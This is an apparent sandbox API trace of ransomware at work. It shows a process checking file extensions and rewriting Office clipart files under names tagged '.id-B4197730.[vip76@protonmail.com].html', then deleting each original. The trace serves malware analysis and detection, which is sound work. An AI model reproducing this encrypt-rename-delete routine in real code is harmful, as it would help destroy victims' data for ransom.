	[0084.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0084.332] lstrlenW (lpString=".doc") returned 4
	[0084.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.332] lstrlenW (lpString=".docx") returned 5
	[0084.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.332] lstrlenW (lpString=".pdf") returned 4
	[0084.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.332] lstrlenW (lpString=".xls") returned 4
	[0084.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.332] lstrlenW (lpString=".xlsx") returned 5
	[0084.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.332] lstrlenW (lpString=".ppt") returned 4
	[0084.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0084.333] lstrlenW (lpString=".zip") returned 4
	[0084.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.333] lstrlenW (lpString=".rar") returned 4
	[0084.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.333] lstrlenW (lpString=".bz2") returned 4
	[0084.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.333] lstrlenW (lpString=".7z") returned 3
	[0084.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0084.333] lstrlenW (lpString=".dbf") returned 4
	[0084.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0084.333] lstrlenW (lpString=".1cd") returned 4
	[0084.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0084.333] lstrlenW (lpString=".jpg") returned 4
	[0084.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.333] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.333] lstrlenW (lpString="DD01166_.WMF") returned 12
	[0084.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.334] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=2080) returned 1
	[0084.334] CloseHandle (hObject=0x378) returned 1
	[0084.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220
	[0084.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.334] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.334] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0084.335] GetLastError () returned 0x0
	[0084.335] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x820, lpOverlapped=0x0) returned 1
	[0084.336] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x830, lpOverlapped=0x0) returned 1
	[0084.337] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.337] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.337] SetEndOfFile (hFile=0x338) returned 1
	[0084.337] CloseHandle (hObject=0x338) returned 1
	[0084.337] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.337] SetEndOfFile (hFile=0x378) returned 1
	[0084.338] CloseHandle (hObject=0x378) returned 1
	[0084.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1
	[0084.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0084.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0084.339] lstrlenW (lpString=".doc") returned 4
	[0084.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.339] lstrlenW (lpString=".docx") returned 5
	[0084.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.339] lstrlenW (lpString=".pdf") returned 4
	[0084.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.339] lstrlenW (lpString=".xls") returned 4
	[0084.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.339] lstrlenW (lpString=".xlsx") returned 5
	[0084.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.339] lstrlenW (lpString=".ppt") returned 4
	[0084.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0084.339] lstrlenW (lpString=".zip") returned 4
	[0084.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.339] lstrlenW (lpString=".rar") returned 4
	[0084.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.339] lstrlenW (lpString=".bz2") returned 4
	[0084.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.339] lstrlenW (lpString=".7z") returned 3
	[0084.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0084.339] lstrlenW (lpString=".dbf") returned 4
	[0084.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0084.339] lstrlenW (lpString=".1cd") returned 4
	[0084.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0084.340] lstrlenW (lpString=".jpg") returned 4
	[0084.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0084.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0084.340] lstrlenW (lpString=".doc") returned 4
	[0084.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.340] lstrlenW (lpString=".docx") returned 5
	[0084.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.340] lstrlenW (lpString=".pdf") returned 4
	[0084.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.340] lstrlenW (lpString=".xls") returned 4
	[0084.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.340] lstrlenW (lpString=".xlsx") returned 5
	[0084.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.340] lstrlenW (lpString=".ppt") returned 4
	[0084.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0084.340] lstrlenW (lpString=".zip") returned 4
	[0084.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.340] lstrlenW (lpString=".rar") returned 4
	[0084.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.340] lstrlenW (lpString=".bz2") returned 4
	[0084.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.340] lstrlenW (lpString=".7z") returned 3
	[0084.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0084.340] lstrlenW (lpString=".dbf") returned 4
	[0084.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0084.340] lstrlenW (lpString=".1cd") returned 4
	[0084.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0084.341] lstrlenW (lpString=".jpg") returned 4
	[0084.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.341] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.341] lstrlenW (lpString="DD01167_.WMF") returned 12
	[0084.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.341] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=2080) returned 1
	[0084.341] CloseHandle (hObject=0x378) returned 1
	[0084.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220
	[0084.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.341] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.341] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0084.342] GetLastError () returned 0x0
	[0084.342] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x820, lpOverlapped=0x0) returned 1
	[0084.343] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x830, lpOverlapped=0x0) returned 1
	[0084.344] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.344] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.344] SetEndOfFile (hFile=0x338) returned 1
	[0084.345] CloseHandle (hObject=0x338) returned 1
	[0084.345] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.345] SetEndOfFile (hFile=0x378) returned 1
	[0084.346] CloseHandle (hObject=0x378) returned 1
	[0084.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1
	[0084.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0084.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0084.346] lstrlenW (lpString=".doc") returned 4
	[0084.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.346] lstrlenW (lpString=".docx") returned 5
	[0084.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.346] lstrlenW (lpString=".pdf") returned 4
	[0084.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.347] lstrlenW (lpString=".xls") returned 4
	[0084.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.347] lstrlenW (lpString=".xlsx") returned 5
	[0084.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.347] lstrlenW (lpString=".ppt") returned 4
	[0084.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0084.347] lstrlenW (lpString=".zip") returned 4
	[0084.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.347] lstrlenW (lpString=".rar") returned 4
	[0084.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.347] lstrlenW (lpString=".bz2") returned 4
	[0084.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.347] lstrlenW (lpString=".7z") returned 3
	[0084.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0084.347] lstrlenW (lpString=".dbf") returned 4
	[0084.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0084.347] lstrlenW (lpString=".1cd") returned 4
	[0084.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0084.347] lstrlenW (lpString=".jpg") returned 4
	[0084.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0084.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0084.347] lstrlenW (lpString=".doc") returned 4
	[0084.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.347] lstrlenW (lpString=".docx") returned 5
	[0084.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.347] lstrlenW (lpString=".pdf") returned 4
	[0084.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.348] lstrlenW (lpString=".xls") returned 4
	[0084.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.348] lstrlenW (lpString=".xlsx") returned 5
	[0084.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.348] lstrlenW (lpString=".ppt") returned 4
	[0084.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0084.348] lstrlenW (lpString=".zip") returned 4
	[0084.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.348] lstrlenW (lpString=".rar") returned 4
	[0084.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.348] lstrlenW (lpString=".bz2") returned 4
	[0084.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.348] lstrlenW (lpString=".7z") returned 3
	[0084.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0084.348] lstrlenW (lpString=".dbf") returned 4
	[0084.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0084.348] lstrlenW (lpString=".1cd") returned 4
	[0084.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0084.348] lstrlenW (lpString=".jpg") returned 4
	[0084.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.348] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.348] lstrlenW (lpString="DD01168_.WMF") returned 12
	[0084.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.349] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=2004) returned 1
	[0084.349] CloseHandle (hObject=0x378) returned 1
	[0084.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220
	[0084.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.349] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.349] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0084.350] GetLastError () returned 0x0
	[0084.350] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x7d4, lpOverlapped=0x0) returned 1
	[0084.351] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x7e0, lpOverlapped=0x0) returned 1
	[0084.352] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.352] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.353] SetEndOfFile (hFile=0x338) returned 1
	[0084.353] CloseHandle (hObject=0x338) returned 1
	[0084.353] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.353] SetEndOfFile (hFile=0x378) returned 1
	[0084.354] CloseHandle (hObject=0x378) returned 1
	[0084.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1
	[0084.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0084.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0084.354] lstrlenW (lpString=".doc") returned 4
	[0084.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.354] lstrlenW (lpString=".docx") returned 5
	[0084.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.354] lstrlenW (lpString=".pdf") returned 4
	[0084.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.354] lstrlenW (lpString=".xls") returned 4
	[0084.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.354] lstrlenW (lpString=".xlsx") returned 5
	[0084.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.354] lstrlenW (lpString=".ppt") returned 4
	[0084.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0084.355] lstrlenW (lpString=".zip") returned 4
	[0084.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.355] lstrlenW (lpString=".rar") returned 4
	[0084.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.355] lstrlenW (lpString=".bz2") returned 4
	[0084.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.355] lstrlenW (lpString=".7z") returned 3
	[0084.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0084.355] lstrlenW (lpString=".dbf") returned 4
	[0084.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0084.355] lstrlenW (lpString=".1cd") returned 4
	[0084.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0084.355] lstrlenW (lpString=".jpg") returned 4
	[0084.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
